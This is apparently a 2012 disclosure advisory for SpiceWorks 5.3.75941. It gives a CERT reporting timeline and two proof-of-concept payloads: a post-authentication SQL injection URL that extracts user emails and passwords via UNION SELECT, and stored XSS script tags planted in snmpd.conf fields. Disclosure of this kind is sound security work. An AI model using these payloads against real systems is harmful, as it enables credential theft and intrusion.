Product: SpiceWorks
Version: 5.3.75941
Vendor Site: http://www.spiceworks.com/community/
Software Download Link: http://www.spiceworks.com/download/?utm_source=comm-secondary-link&utm_medium=website&utm_campaign=homepage
Installer Filename: Spiceworks.exe MD5: 023bd361c0f9402dc07adbc5a72fe31d
Contact: http://www.spiceworks.com/contact/
Timeline:
04 Jun 2012: Vulnerability reported to CERT
08 Jun 2012: Response received from CERT with disclosure date of 20 Jul 2012
23 Jul 2012: Updated received from CERT: No response from vendor
23 Jul 2012: Public Disclosure
SQL Injection (Post-Authentication):
http://server/api_v2.json?queries[device][class]=Device&queries[device][select]=id,b_manufacturer,manufacturer,b_model,model,operating_system,device_type&queries[device][conditions]=id=14%29%20UNION%20SELECT%20NULL,%20NULL,%20NULL,%20email,%20NULL,%20NULL,%20password%20from%20users%20where%20id=1--
Stored XSS:
An attacker can configure their snmpd.conf file to contain malicious JavaScript as shown in the proof of concept below:
rocommunity public
com2sec local localhost public
view systemview included .1.3.6.1.2.1.1
view systemview included .1.3.6.1.2.1.25.1.1
view systemview included .1 80
syslocation <script>alert('location')</script>
syscontact <script>alert('contact')</script>
sysName dook<script>alert('name')</script>